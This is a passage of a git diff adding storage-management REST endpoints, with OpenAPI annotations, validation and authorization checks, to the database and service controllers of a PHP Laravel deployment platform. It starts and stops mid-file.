+ new OA\Property(property: 'persistent_storages', type: 'array', items: new OA\Items(type: 'object')),
+ new OA\Property(property: 'file_storages', type: 'array', items: new OA\Items(type: 'object')),
+ ],
+ ),
+ ),
+ new OA\Response(
+ response: 401,
+ ref: '#/components/responses/401',
+ ),
+ new OA\Response(
+ response: 400,
+ ref: '#/components/responses/400',
+ ),
+ new OA\Response(
+ response: 404,
+ ref: '#/components/responses/404',
+ ),
+ ]
+ )]
+ public function storages(Request $request): JsonResponse
+ {
+ $teamId = getTeamIdFromToken();
+ if (is_null($teamId)) {
+ return invalidTokenResponse();
+ }
+
+ $database = queryDatabaseByUuidWithinTeam($request->uuid, $teamId);
+ if (! $database) {
+ return response()->json(['message' => 'Database not found.'], 404);
+ }
+
+ $this->authorize('view', $database);
+
+ $persistentStorages = $database->persistentStorages->sortBy('id')->values();
+ $fileStorages = $database->fileStorages->sortBy('id')->values();
+
+ return response()->json([
+ 'persistent_storages' => $persistentStorages,
+ 'file_storages' => $fileStorages,
+ ]);
+ }
+
+ #[OA\Post(
+ summary: 'Create Storage',
+ description: 'Create a persistent storage or file storage for a database.',
+ path: '/databases/{uuid}/storages',
+ operationId: 'create-storage-by-database-uuid',
+ security: [
+ ['bearerAuth' => []],
+ ],
+ tags: ['Databases'],
+ parameters: [
+ new OA\Parameter(
+ name: 'uuid',
+ in: 'path',
+ description: 'UUID of the database.',
+ required: true,
+ schema: new OA\Schema(type: 'string')
+ ),
+ ],
+ requestBody: new OA\RequestBody(
+ required: true,
+ content: [
+ new OA\MediaType(
+ mediaType: 'application/json',
+ schema: new OA\Schema(
+ type: 'object',
+ required: ['type', 'mount_path'],
+ properties: [
+ 'type' => ['type' => 'string', 'enum' => ['persistent', 'file'], 'description' => 'The type of storage.'],
+ 'name' => ['type' => 'string', 'description' => 'Volume name (persistent only, required for persistent).'],
+ 'mount_path' => ['type' => 'string', 'description' => 'The container mount path.'],
+ 'host_path' => ['type' => 'string', 'nullable' => true, 'description' => 'The host path (persistent only, optional).'],
+ 'content' => ['type' => 'string', 'nullable' => true, 'description' => 'File content (file only, optional).'],
+ 'is_directory' => ['type' => 'boolean', 'description' => 'Whether this is a directory mount (file only, default false).'],
+ 'fs_path' => ['type' => 'string', 'description' => 'Host directory path (required when is_directory is true).'],
+ ],
+ additionalProperties: false,
+ ),
+ ),
+ ],
+ ),
+ responses: [
+ new OA\Response(
+ response: 201,
+ description: 'Storage created.',
+ content: new OA\JsonContent(type: 'object'),
+ ),
+ new OA\Response(response: 401, ref: '#/components/responses/401'),
+ new OA\Response(response: 400, ref: '#/components/responses/400'),
+ new OA\Response(response: 404, ref: '#/components/responses/404'),
+ new OA\Response(response: 422, ref: '#/components/responses/422'),
+ ]
+ )]
+ public function create_storage(Request $request): JsonResponse
+ {
+ $teamId = getTeamIdFromToken();
+ if (is_null($teamId)) {
+ return invalidTokenResponse();
+ }
+
+ $return = validateIncomingRequest($request);
+ if ($return instanceof JsonResponse) {
+ return $return;
+ }
+
+ $database = queryDatabaseByUuidWithinTeam($request->uuid, $teamId);
+ if (! $database) {
+ return response()->json(['message' => 'Database not found.'], 404);
+ }
+
+ $this->authorize('update', $database);
+
+ $validator = customApiValidator($request->all(), [
+ 'type' => 'required|string|in:persistent,file',
+ 'name' => 'string',
+ 'mount_path' => 'required|string',
+ 'host_path' => 'string|nullable',
+ 'content' => 'string|nullable',
+ 'is_directory' => 'boolean',
+ 'fs_path' => 'string',
+ ]);
+
+ $allAllowedFields = ['type', 'name', 'mount_path', 'host_path', 'content', 'is_directory', 'fs_path'];
+ $extraFields = array_diff(array_keys($request->all()), $allAllowedFields);
+ if ($validator->fails() || ! empty($extraFields)) {
+ $errors = $validator->errors();
+ if (! empty($extraFields)) {
+ foreach ($extraFields as $field) {
+ $errors->add($field, 'This field is not allowed.');
+ }
+ }
+
+ return response()->json([
+ 'message' => 'Validation failed.',
+ 'errors' => $errors,
+ ], 422);
+ }
+
+ if ($request->type === 'persistent') {
+ if (! $request->name) {
+ return response()->json([
+ 'message' => 'Validation failed.',
+ 'errors' => ['name' => 'The name field is required for persistent storages.'],
+ ], 422);
+ }
+
+ $typeSpecificInvalidFields = array_intersect(['content', 'is_directory', 'fs_path'], array_keys($request->all()));
+ if (! empty($typeSpecificInvalidFields)) {
+ return response()->json([
+ 'message' => 'Validation failed.',
+ 'errors' => collect($typeSpecificInvalidFields)
+ ->mapWithKeys(fn ($field) => [$field => "Field '{$field}' is not valid for type 'persistent'."]),
+ ], 422);
+ }
+
+ $storage = LocalPersistentVolume::create([
+ 'name' => $database->uuid.'-'.$request->name,
+ 'mount_path' => $request->mount_path,
+ 'host_path' => $request->host_path,
+ 'resource_id' => $database->id,
+ 'resource_type' => $database->getMorphClass(),
+ ]);
+
+ return response()->json($storage, 201);
+ }
+
+ // File storage
+ $typeSpecificInvalidFields = array_intersect(['name', 'host_path'], array_keys($request->all()));
+ if (! empty($typeSpecificInvalidFields)) {
+ return response()->json([
+ 'message' => 'Validation failed.',
+ 'errors' => collect($typeSpecificInvalidFields)
+ ->mapWithKeys(fn ($field) => [$field => "Field '{$field}' is not valid for type 'file'."]),
+ ], 422);
+ }
+
+ $isDirectory = $request->boolean('is_directory', false);
+
+ if ($isDirectory) {
+ if (! $request->fs_path) {
+ return response()->json([
+ 'message' => 'Validation failed.',
+ 'errors' => ['fs_path' => 'The fs_path field is required for directory mounts.'],
+ ], 422);
+ }
+
+ $fsPath = str($request->fs_path)->trim()->start('/')->value();
+ $mountPath = str($request->mount_path)->trim()->start('/')->value();
+
+ validateShellSafePath($fsPath, 'storage source path');
+ validateShellSafePath($mountPath, 'storage destination path');
+
+ $storage = LocalFileVolume::create([
+ 'fs_path' => $fsPath,
+ 'mount_path' => $mountPath,
+ 'is_directory' => true,
+ 'resource_id' => $database->id,
+ 'resource_type' => get_class($database),
+ ]);
+ } else {
+ $mountPath = str($request->mount_path)->trim()->start('/')->value();
+ $fsPath = database_configuration_dir().'/'.$database->uuid.$mountPath;
+
+ $storage = LocalFileVolume::create([
+ 'fs_path' => $fsPath,
+ 'mount_path' => $mountPath,
+ 'content' => $request->content,
+ 'is_directory' => false,
+ 'resource_id' => $database->id,
+ 'resource_type' => get_class($database),
+ ]);
+ }
+
+ return response()->json($storage, 201);
+ }
+
+ #[OA\Patch(
+ summary: 'Update Storage',
+ description: 'Update a persistent storage or file storage by database UUID.',
+ path: '/databases/{uuid}/storages',
+ operationId: 'update-storage-by-database-uuid',
+ security: [
+ ['bearerAuth' => []],
+ ],
+ tags: ['Databases'],
+ parameters: [
+ new OA\Parameter(
+ name: 'uuid',
+ in: 'path',
+ description: 'UUID of the database.',
+ required: true,
+ schema: new OA\Schema(
+ type: 'string',
+ )
+ ),
+ ],
+ requestBody: new OA\RequestBody(
+ description: 'Storage updated. For read-only storages (from docker-compose or services), only is_preview_suffix_enabled can be updated.',
+ required: true,
+ content: [
+ new OA\MediaType(
+ mediaType: 'application/json',
+ schema: new OA\Schema(
+ type: 'object',
+ required: ['type'],
+ properties: [
+ 'uuid' => ['type' => 'string', 'description' => 'The UUID of the storage (preferred).'],
+ 'id' => ['type' => 'integer', 'description' => 'The ID of the storage (deprecated, use uuid instead).'],
+ 'type' => ['type' => 'string', 'enum' => ['persistent', 'file'], 'description' => 'The type of storage: persistent or file.'],
+ 'is_preview_suffix_enabled' => ['type' => 'boolean', 'description' => 'Whether to add -pr-N suffix for preview deployments.'],
+ 'name' => ['type' => 'string', 'description' => 'The volume name (persistent only, not allowed for read-only storages).'],
+ 'mount_path' => ['type' => 'string', 'description' => 'The container mount path (not allowed for read-only storages).'],
+ 'host_path' => ['type' => 'string', 'nullable' => true, 'description' => 'The host path (persistent only, not allowed for read-only storages).'],
+ 'content' => ['type' => 'string', 'nullable' => true, 'description' => 'The file content (file only, not allowed for read-only storages).'],
+ ],
+ additionalProperties: false,
+ ),
+ ),
+ ],
+ ),
+ responses: [
+ new OA\Response(
+ response: 200,
+ description: 'Storage updated.',
+ content: new OA\JsonContent(type: 'object'),
+ ),
+ new OA\Response(
+ response: 401,
+ ref: '#/components/responses/401',
+ ),
+ new OA\Response(
+ response: 400,
+ ref: '#/components/responses/400',
+ ),
+ new OA\Response(
+ response: 404,
+ ref: '#/components/responses/404',
+ ),
+ new OA\Response(
+ response: 422,
+ ref: '#/components/responses/422',
+ ),
+ ]
+ )]
+ public function update_storage(Request $request): JsonResponse
+ {
+ $teamId = getTeamIdFromToken();
+
+ if (is_null($teamId)) {
+ return invalidTokenResponse();
+ }
+
+ $return = validateIncomingRequest($request);
+ if ($return instanceof \Illuminate\Http\JsonResponse) {
+ return $return;
+ }
+
+ $database = queryDatabaseByUuidWithinTeam($request->route('uuid'), $teamId);
+ if (! $database) {
+ return response()->json(['message' => 'Database not found.'], 404);
+ }
+
+ $this->authorize('update', $database);
+
+ $validator = customApiValidator($request->all(), [
+ 'uuid' => 'string',
+ 'id' => 'integer',
+ 'type' => 'required|string|in:persistent,file',
+ 'is_preview_suffix_enabled' => 'boolean',
+ 'name' => 'string',
+ 'mount_path' => 'string',
+ 'host_path' => 'string|nullable',
+ 'content' => 'string|nullable',
+ ]);
+
+ $allAllowedFields = ['uuid', 'id', 'type', 'is_preview_suffix_enabled', 'name', 'mount_path', 'host_path', 'content'];
+ $extraFields = array_diff(array_keys($request->all()), $allAllowedFields);
+ if ($validator->fails() || ! empty($extraFields)) {
+ $errors = $validator->errors();
+ if (! empty($extraFields)) {
+ foreach ($extraFields as $field) {
+ $errors->add($field, 'This field is not allowed.');
+ }
+ }
+
+ return response()->json([
+ 'message' => 'Validation failed.',
+ 'errors' => $errors,
+ ], 422);
+ }
+
+ $storageUuid = $request->input('uuid');
+ $storageId = $request->input('id');
+
+ if (! $storageUuid && ! $storageId) {
+ return response()->json([
+ 'message' => 'Validation failed.',
+ 'errors' => ['uuid' => 'Either uuid or id is required.'],
+ ], 422);
+ }
+
+ $lookupField = $storageUuid ? 'uuid' : 'id';
+ $lookupValue = $storageUuid ?? $storageId;
+
+ if ($request->type === 'persistent') {
+ $storage = $database->persistentStorages->where($lookupField, $lookupValue)->first();
+ } else {
+ $storage = $database->fileStorages->where($lookupField, $lookupValue)->first();
+ }
+
+ if (! $storage) {
+ return response()->json([
+ 'message' => 'Storage not found.',
+ ], 404);
+ }
+
+ $isReadOnly = $storage->shouldBeReadOnlyInUI();
+ $editableOnlyFields = ['name', 'mount_path', 'host_path', 'content'];
+ $requestedEditableFields = array_intersect($editableOnlyFields, array_keys($request->all()));
+
+ if ($isReadOnly && ! empty($requestedEditableFields)) {
+ return response()->json([
+ 'message' => 'This storage is read-only (managed by docker-compose or service definition). Only is_preview_suffix_enabled can be updated.',
+ 'read_only_fields' => array_values($requestedEditableFields),
+ ], 422);
+ }
+
+ // Reject fields that don't apply to the given storage type
+ if (! $isReadOnly) {
+ $typeSpecificInvalidFields = $request->type === 'persistent'
+ ? array_intersect(['content'], array_keys($request->all()))
+ : array_intersect(['name', 'host_path'], array_keys($request->all()));
+
+ if (! empty($typeSpecificInvalidFields)) {
+ return response()->json([
+ 'message' => 'Validation failed.',
+ 'errors' => collect($typeSpecificInvalidFields)
+ ->mapWithKeys(fn ($field) => [$field => "Field '{$field}' is not valid for type '{$request->type}'."]),
+ ], 422);
+ }
+ }
+
+ // Always allowed
+ if ($request->has('is_preview_suffix_enabled')) {
+ $storage->is_preview_suffix_enabled = $request->is_preview_suffix_enabled;
+ }
+
+ // Only for editable storages
+ if (! $isReadOnly) {
+ if ($request->type === 'persistent') {
+ if ($request->has('name')) {
+ $storage->name = $request->name;
+ }
+ if ($request->has('mount_path')) {
+ $storage->mount_path = $request->mount_path;
+ }
+ if ($request->has('host_path')) {
+ $storage->host_path = $request->host_path;
+ }
+ } else {
+ if ($request->has('mount_path')) {
+ $storage->mount_path = $request->mount_path;
+ }
+ if ($request->has('content')) {
+ $storage->content = $request->content;
+ }
+ }
+ }
+
+ $storage->save();
+
+ return response()->json($storage);
+ }
+
+ #[OA\Delete(
+ summary: 'Delete Storage',
+ description: 'Delete a persistent storage or file storage by database UUID.',
+ path: '/databases/{uuid}/storages/{storage_uuid}',
+ operationId: 'delete-storage-by-database-uuid',
+ security: [
+ ['bearerAuth' => []],
+ ],
+ tags: ['Databases'],
+ parameters: [
+ new OA\Parameter(
+ name: 'uuid',
+ in: 'path',
+ description: 'UUID of the database.',
+ required: true,
+ schema: new OA\Schema(type: 'string')
+ ),
+ new OA\Parameter(
+ name: 'storage_uuid',
+ in: 'path',
+ description: 'UUID of the storage.',
+ required: true,
+ schema: new OA\Schema(type: 'string')
+ ),
+ ],
+ responses: [
+ new OA\Response(response: 200, description: 'Storage deleted.', content: new OA\JsonContent(
+ properties: [new OA\Property(property: 'message', type: 'string')],
+ )),
+ new OA\Response(response: 401, ref: '#/components/responses/401'),
+ new OA\Response(response: 400, ref: '#/components/responses/400'),
+ new OA\Response(response: 404, ref: '#/components/responses/404'),
+ new OA\Response(response: 422, ref: '#/components/responses/422'),
+ ]
+ )]
+ public function delete_storage(Request $request): JsonResponse
+ {
+ $teamId = getTeamIdFromToken();
+ if (is_null($teamId)) {
+ return invalidTokenResponse();
+ }
+
+ $database = queryDatabaseByUuidWithinTeam($request->uuid, $teamId);
+ if (! $database) {
+ return response()->json(['message' => 'Database not found.'], 404);
+ }
+
+ $this->authorize('update', $database);
+
+ $storageUuid = $request->route('storage_uuid');
+
+ $storage = $database->persistentStorages->where('uuid', $storageUuid)->first();
+ if (! $storage) {
+ $storage = $database->fileStorages->where('uuid', $storageUuid)->first();
+ }
+
+ if (! $storage) {
+ return response()->json(['message' => 'Storage not found.'], 404);
+ }
+
+ if ($storage->shouldBeReadOnlyInUI()) {
+ return response()->json([
+ 'message' => 'This storage is read-only (managed by docker-compose or service definition) and cannot be deleted.',
+ ], 422);
+ }
+
+ if ($storage instanceof LocalFileVolume) {
+ $storage->deleteStorageOnServer();
+ }
+
+ $storage->delete();
+
+ return response()->json(['message' => 'Storage deleted.']);
+ }
}
diff --git a/app/Http/Controllers/Api/ServicesController.php b/app/Http/Controllers/Api/ServicesController.php
index 4caee26dd..ca565ece0 100644
--- a/app/Http/Controllers/Api/ServicesController.php
+++ b/app/Http/Controllers/Api/ServicesController.php
@@ -8,9 +8,12 @@
use App\Http\Controllers\Controller;
use App\Jobs\DeleteResourceJob;
use App\Models\EnvironmentVariable;
+use App\Models\LocalFileVolume;
+use App\Models\LocalPersistentVolume;
use App\Models\Project;
use App\Models\Server;
use App\Models\Service;
+use Illuminate\Http\JsonResponse;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Validator;
use OpenApi\Attributes as OA;
@@ -1849,4 +1852,606 @@ public function action_restart(Request $request)
200
);
}
+
+ #[OA\Get(
+ summary: 'List Storages',
+ description: 'List all persistent storages and file storages by service UUID.',
+ path: '/services/{uuid}/storages',
+ operationId: 'list-storages-by-service-uuid',
+ security: [
+ ['bearerAuth' => []],
+ ],
+ tags: ['Services'],
+ parameters: [
+ new OA\Parameter(
+ name: 'uuid',
+ in: 'path',
+ description: 'UUID of the service.',
+ required: true,
+ schema: new OA\Schema(
+ type: 'string',
+ )
+ ),
+ ],
+ responses: [
+ new OA\Response(
+ response: 200,
+ description: 'All storages by service UUID.',
+ content: new OA\JsonContent(
+ properties: [
+ new OA\Property(property: 'persistent_storages', type: 'array', items: new OA\Items(type: 'object')),
+ new OA\Property(property: 'file_storages', type: 'array', items: new OA\Items(type: 'object')),
+ ],
+ ),
+ ),
+ new OA\Response(
+ response: 401,
+ ref: '#/components/responses/401',
+ ),
+ new OA\Response(
+ response: 400,
+ ref: '#/components/responses/400',
+ ),
+ new OA\Response(
+ response: 404,
+ ref: '#/components/responses/404',
+ ),
+ ]
+ )]
+ public function storages(Request $request): JsonResponse
+ {
+ $teamId = getTeamIdFromToken();
+ if (is_null($teamId)) {
+ return invalidTokenResponse();
+ }
+ $service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->uuid)->first();
+
+ if (! $service) {
+ return response()->json([
+ 'message' => 'Service not found.',
+ ], 404);
+ }
+
+ $this->authorize('view', $service);
+
+ $persistentStorages = collect();
+ $fileStorages = collect();
+
+ foreach ($service->applications as $app) {
+ $persistentStorages = $persistentStorages->merge(
+ $app->persistentStorages->map(fn ($s) => $s->setAttribute('resource_uuid', $app->uuid)->setAttribute('resource_type', 'application'))
+ );
+ $fileStorages = $fileStorages->merge(
+ $app->fileStorages->map(fn ($s) => $s->setAttribute('resource_uuid', $app->uuid)->setAttribute('resource_type', 'application'))
+ );
+ }
+ foreach ($service->databases as $db) {
+ $persistentStorages = $persistentStorages->merge(
+ $db->persistentStorages->map(fn ($s) => $s->setAttribute('resource_uuid', $db->uuid)->setAttribute('resource_type', 'database'))
+ );
+ $fileStorages = $fileStorages->merge(
+ $db->fileStorages->map(fn ($s) => $s->setAttribute('resource_uuid', $db->uuid)->setAttribute('resource_type', 'database'))
+ );
+ }
+
+ return response()->json([
+ 'persistent_storages' => $persistentStorages->sortBy('id')->values(),
+ 'file_storages' => $fileStorages->sortBy('id')->values(),
+ ]);
+ }
+
+ #[OA\Post(
+ summary: 'Create Storage',
+ description: 'Create a persistent storage or file storage for a service sub-resource.',
+ path: '/services/{uuid}/storages',
+ operationId: 'create-storage-by-service-uuid',
+ security: [
+ ['bearerAuth' => []],
+ ],
+ tags: ['Services'],
+ parameters: [
+ new OA\Parameter(
+ name: 'uuid',
+ in: 'path',
+ description: 'UUID of the service.',
+ required: true,
+ schema: new OA\Schema(type: 'string')
+ ),
+ ],
+ requestBody: new OA\RequestBody(
+ required: true,
+ content: [
+ new OA\MediaType(
+ mediaType: 'application/json',
+ schema: new OA\Schema(
+ type: 'object',
+ required: ['type', 'mount_path', 'resource_uuid'],
+ properties: [
+ 'type' => ['type' => 'string', 'enum' => ['persistent', 'file'], 'description' => 'The type of storage.'],
+ 'resource_uuid' => ['type' => 'string', 'description' => 'UUID of the service application or database sub-resource.'],
+ 'name' => ['type' => 'string', 'description' => 'Volume name (persistent only, required for persistent).'],
+ 'mount_path' => ['type' => 'string', 'description' => 'The container mount path.'],
+ 'host_path' => ['type' => 'string', 'nullable' => true, 'description' => 'The host path (persistent only, optional).'],
+ 'content' => ['type' => 'string', 'nullable' => true, 'description' => 'File content (file only, optional).'],
+ 'is_directory' => ['type' => 'boolean', 'description' => 'Whether this is a directory mount (file only, default false).'],
+ 'fs_path' => ['type' => 'string', 'description' => 'Host directory path (required when is_directory is true).'],
+ ],
+ additionalProperties: false,
+ ),
+ ),
+ ],
+ ),
+ responses: [
+ new OA\Response(
+ response: 201,
+ description: 'Storage created.',
+ content: new OA\JsonContent(type: 'object'),
+ ),
+ new OA\Response(response: 401, ref: '#/components/responses/401'),
+ new OA\Response(response: 400, ref: '#/components/responses/400'),
+ new OA\Response(response: 404, ref: '#/components/responses/404'),
+ new OA\Response(response: 422, ref: '#/components/responses/422'),
+ ]
+ )]
+ public function create_storage(Request $request): JsonResponse
+ {
+ $teamId = getTeamIdFromToken();
+ if (is_null($teamId)) {
+ return invalidTokenResponse();
+ }
+
+ $return = validateIncomingRequest($request);
+ if ($return instanceof JsonResponse) {
+ return $return;
+ }
+
+ $service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->uuid)->first();
+ if (! $service) {
+ return response()->json(['message' => 'Service not found.'], 404);
+ }
+
+ $this->authorize('update', $service);
+
+ $validator = customApiValidator($request->all(), [
+ 'type' => 'required|string|in:persistent,file',
+ 'resource_uuid' => 'required|string',
+ 'name' => 'string',
+ 'mount_path' => 'required|string',
+ 'host_path' => 'string|nullable',
+ 'content' => 'string|nullable',
+ 'is_directory' => 'boolean',
+ 'fs_path' => 'string',
+ ]);
+
+ $allAllowedFields = ['type', 'resource_uuid', 'name', 'mount_path', 'host_path', 'content', 'is_directory', 'fs_path'];
+ $extraFields = array_diff(array_keys($request->all()), $allAllowedFields);
+ if ($validator->fails() || ! empty($extraFields)) {
+ $errors = $validator->errors();
+ if (! empty($extraFields)) {
+ foreach ($extraFields as $field) {
+ $errors->add($field, 'This field is not allowed.');
+ }
+ }
+
+ return response()->json([
+ 'message' => 'Validation failed.',
+ 'errors' => $errors,
+ ], 422);
+ }
+
+ $subResource = $service->applications()->where('uuid', $request->resource_uuid)->first();
+ if (! $subResource) {
+ $subResource = $service->databases()->where('uuid', $request->resource_uuid)->first();
+ }
+ if (! $subResource) {
+ return response()->json(['message' => 'Service resource not found.'], 404);
+ }
+
+ if ($request->type === 'persistent') {
+ if (! $request->name) {
+ return response()->json([
+ 'message' => 'Validation failed.',
+ 'errors' => ['name' => 'The name field is required for persistent storages.'],
+ ], 422);
+ }
+
+ $typeSpecificInvalidFields = array_intersect(['content', 'is_directory', 'fs_path'], array_keys($request->all()));
+ if (! empty($typeSpecificInvalidFields)) {
+ return response()->json([
+ 'message' => 'Validation failed.',
+ 'errors' => collect($typeSpecificInvalidFields)
+ ->mapWithKeys(fn ($field) => [$field => "Field '{$field}' is not valid for type 'persistent'."]),
+ ], 422);
+ }
+
+ $storage = LocalPersistentVolume::create([
+ 'name' => $subResource->uuid.'-'.$request->name,
+ 'mount_path' => $request->mount_path,
+ 'host_path' => $request->host_path,
+ 'resource_id' => $subResource->id,
+ 'resource_type' => $subResource->getMorphClass(),
+ ]);
+
+ return response()->json($storage, 201);
+ }
+
+ // File storage
+ $typeSpecificInvalidFields = array_intersect(['name', 'host_path'], array_keys($request->all()));
+ if (! empty($typeSpecificInvalidFields)) {
+ return response()->json([
+ 'message' => 'Validation failed.',
+ 'errors' => collect($typeSpecificInvalidFields)
+ ->mapWithKeys(fn ($field) => [$field => "Field '{$field}' is not valid for type 'file'."]),
+ ], 422);
+ }
+
+ $isDirectory = $request->boolean('is_directory', false);
+
+ if ($isDirectory) {
+ if (! $request->fs_path) {
+ return response()->json([
+ 'message' => 'Validation failed.',
+ 'errors' => ['fs_path' => 'The fs_path field is required for directory mounts.'],
+ ], 422);
+ }
+
+ $fsPath = str($request->fs_path)->trim()->start('/')->value();
+ $mountPath = str($request->mount_path)->trim()->start('/')->value();
+
+ validateShellSafePath($fsPath, 'storage source path');
+ validateShellSafePath($mountPath, 'storage destination path');
+
+ $storage = LocalFileVolume::create([
+ 'fs_path' => $fsPath,
+ 'mount_path' => $mountPath,
+ 'is_directory' => true,
+ 'resource_id' => $subResource->id,
+ 'resource_type' => get_class($subResource),
+ ]);
+ } else {
+ $mountPath = str($request->mount_path)->trim()->start('/')->value();
+ $fsPath = service_configuration_dir().'/'.$service->uuid.$mountPath;
+
+ $storage = LocalFileVolume::create([
+ 'fs_path' => $fsPath,
+ 'mount_path' => $mountPath,
+ 'content' => $request->content,
+ 'is_directory' => false,
+ 'resource_id' => $subResource->id,
+ 'resource_type' => get_class($subResource),
+ ]);
+ }
+
+ return response()->json($storage, 201);
+ }
+
+ #[OA\Patch(
+ summary: 'Update Storage',
+ description: 'Update a persistent storage or file storage by service UUID.',
+ path: '/services/{uuid}/storages',
+ operationId: 'update-storage-by-service-uuid',
+ security: [
+ ['bearerAuth' => []],
+ ],
+ tags: ['Services'],
+ parameters: [
+ new OA\Parameter(
+ name: 'uuid',
+ in: 'path',
+ description: 'UUID of the service.',
+ required: true,
+ schema: new OA\Schema(
+ type: 'string',
+ )
+ ),
+ ],
+ requestBody: new OA\RequestBody(
+ description: 'Storage updated. For read-only storages (from docker-compose or services), only is_preview_suffix_enabled can be updated.',
+ required: true,
+ content: [
+ new OA\MediaType(
+ mediaType: 'application/json',
+ schema: new OA\Schema(
+ type: 'object',
+ required: ['type'],
+ properties: [
+ 'uuid' => ['type' => 'string', 'description' => 'The UUID of the storage (preferred).'],
+ 'id' => ['type' => 'integer', 'description' => 'The ID of the storage (deprecated, use uuid instead).'],
+ 'type' => ['type' => 'string', 'enum' => ['persistent', 'file'], 'description' => 'The type of storage: persistent or file.'],
+ 'is_preview_suffix_enabled' => ['type' => 'boolean', 'description' => 'Whether to add -pr-N suffix for preview deployments.'],
+ 'name' => ['type' => 'string', 'description' => 'The volume name (persistent only, not allowed for read-only storages).'],
+ 'mount_path' => ['type' => 'string', 'description' => 'The container mount path (not allowed for read-only storages).'],
+ 'host_path' => ['type' => 'string', 'nullable' => true, 'description' => 'The host path (persistent only, not allowed for read-only storages).'],
+ 'content' => ['type' => 'string', 'nullable' => true, 'description' => 'The file content (file only, not allowed for read-only storages).'],
+ ],
+ additionalProperties: false,
+ ),
+ ),
+ ],
+ ),
+ responses: [
+ new OA\Response(
+ response: 200,
+ description: 'Storage updated.',
+ content: new OA\JsonContent(type: 'object'),
+ ),
+ new OA\Response(
+ response: 401,
+ ref: '#/components/responses/401',
+ ),
+ new OA\Response(
+ response: 400,
+ ref: '#/components/responses/400',
+ ),
+ new OA\Response(
+ response: 404,
+ ref: '#/components/responses/404',
+ ),
+ new OA\Response(
+ response: 422,
+ ref: '#/components/responses/422',
+ ),
+ ]
+ )]
+ public function update_storage(Request $request): JsonResponse
+ {
+ $teamId = getTeamIdFromToken();
+
+ if (is_null($teamId)) {
+ return invalidTokenResponse();
+ }
+
+ $return = validateIncomingRequest($request);
+ if ($return instanceof JsonResponse) {
+ return $return;
+ }
+
+ $service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->route('uuid'))->first();
+
+ if (! $service) {
+ return response()->json([
+ 'message' => 'Service not found.',
+ ], 404);
+ }
+
+ $this->authorize('update', $service);
+
+ $validator = customApiValidator($request->all(), [
+ 'uuid' => 'string',
+ 'id' => 'integer',
+ 'type' => 'required|string|in:persistent,file',
+ 'is_preview_suffix_enabled' => 'boolean',
+ 'name' => 'string',
+ 'mount_path' => 'string',
+ 'host_path' => 'string|nullable',
+ 'content' => 'string|nullable',
+ ]);
+
+ $allAllowedFields = ['uuid', 'id', 'type', 'is_preview_suffix_enabled', 'name', 'mount_path', 'host_path', 'content'];
+ $extraFields = array_diff(array_keys($request->all()), $allAllowedFields);
+ if ($validator->fails() || ! empty($extraFields)) {
+ $errors = $validator->errors();
+ if (! empty($extraFields)) {
+ foreach ($extraFields as $field) {
+ $errors->add($field, 'This field is not allowed.');
+ }
+ }
+
+ return response()->json([
+ 'message' => 'Validation failed.',
+ 'errors' => $errors,
+ ], 422);
+ }
+
+ $storageUuid = $request->input('uuid');
+ $storageId = $request->input('id');
+
+ if (! $storageUuid && ! $storageId) {
+ return response()->json([
+ 'message' => 'Validation failed.',
+ 'errors' => ['uuid' => 'Either uuid or id is required.'],
+ ], 422);
+ }
+
+ $lookupField = $storageUuid ? 'uuid' : 'id';
+ $lookupValue = $storageUuid ?? $storageId;
+
+ $storage = null;
+ if ($request->type === 'persistent') {
+ foreach ($service->applications as $app) {
+ $storage = $app->persistentStorages->where($lookupField, $lookupValue)->first();
+ if ($storage) {
+ break;
+ }
+ }
+ if (! $storage) {
+ foreach ($service->databases as $db) {
+ $storage = $db->persistentStorages->where($lookupField, $lookupValue)->first();
+ if ($storage) {
+ break;
+ }
+ }
+ }
+ } else {
+ foreach ($service->applications as $app) {
+ $storage = $app->fileStorages->where($lookupField, $lookupValue)->first();
+ if ($storage) {
+ break;
+ }
+ }
+ if (! $storage) {
+ foreach ($service->databases as $db) {
+ $storage = $db->fileStorages->where($lookupField, $lookupValue)->first();
+ if ($storage) {
+ break;
+ }
+ }
+ }
+ }
+
+ if (! $storage) {
+ return response()->json([
+ 'message' => 'Storage not found.',
+ ], 404);
+ }
+
+ $isReadOnly = $storage->shouldBeReadOnlyInUI();
+ $editableOnlyFields = ['name', 'mount_path', 'host_path', 'content'];
+ $requestedEditableFields = array_intersect($editableOnlyFields, array_keys($request->all()));
+
+ if ($isReadOnly && ! empty($requestedEditableFields)) {
+ return response()->json([
+ 'message' => 'This storage is read-only (managed by docker-compose or service definition). Only is_preview_suffix_enabled can be updated.',
+ 'read_only_fields' => array_values($requestedEditableFields),
+ ], 422);
+ }
+
+ // Reject fields that don't apply to the given storage type
+ if (! $isReadOnly) {
+ $typeSpecificInvalidFields = $request->type === 'persistent'
+ ? array_intersect(['content'], array_keys($request->all()))
+ : array_intersect(['name', 'host_path'], array_keys($request->all()));
+
+ if (! empty($typeSpecificInvalidFields)) {
+ return response()->json([
+ 'message' => 'Validation failed.',
+ 'errors' => collect($typeSpecificInvalidFields)
+ ->mapWithKeys(fn ($field) => [$field => "Field '{$field}' is not valid for type '{$request->type}'."]),
+ ], 422);
+ }
+ }
+
+ // Always allowed
+ if ($request->has('is_preview_suffix_enabled')) {
+ $storage->is_preview_suffix_enabled = $request->is_preview_suffix_enabled;
+ }
+
+ // Only for editable storages
+ if (! $isReadOnly) {
+ if ($request->type === 'persistent') {
+ if ($request->has('name')) {
+ $storage->name = $request->name;
+ }
+ if ($request->has('mount_path')) {
+ $storage->mount_path = $request->mount_path;
+ }
+ if ($request->has('host_path')) {
+ $storage->host_path = $request->host_path;
+ }
+ } else {
+ if ($request->has('mount_path')) {
+ $storage->mount_path = $request->mount_path;
+ }
+ if ($request->has('content')) {
+ $storage->content = $request->content;
+ }
+ }
+ }
+
+ $storage->save();
+
+ return response()->json($storage);
+ }
+
+ #[OA\Delete(
+ summary: 'Delete Storage',
+ description: 'Delete a persistent storage or file storage by service UUID.',
+ path: '/services/{uuid}/storages/{storage_uuid}',
+ operationId: 'delete-storage-by-service-uuid',
+ security: [
+ ['bearerAuth' => []],
+ ],
+ tags: ['Services'],
+ parameters: [
+ new OA\Parameter(
+ name: 'uuid',
+ in: 'path',
+ description: 'UUID of the service.',
+ required: true,
+ schema: new OA\Schema(type: 'string')
+ ),
+ new OA\Parameter(
+ name: 'storage_uuid',
+ in: 'path',
+ description: 'UUID of the storage.',
+ required: true,
+ schema: new OA\Schema(type: 'string')
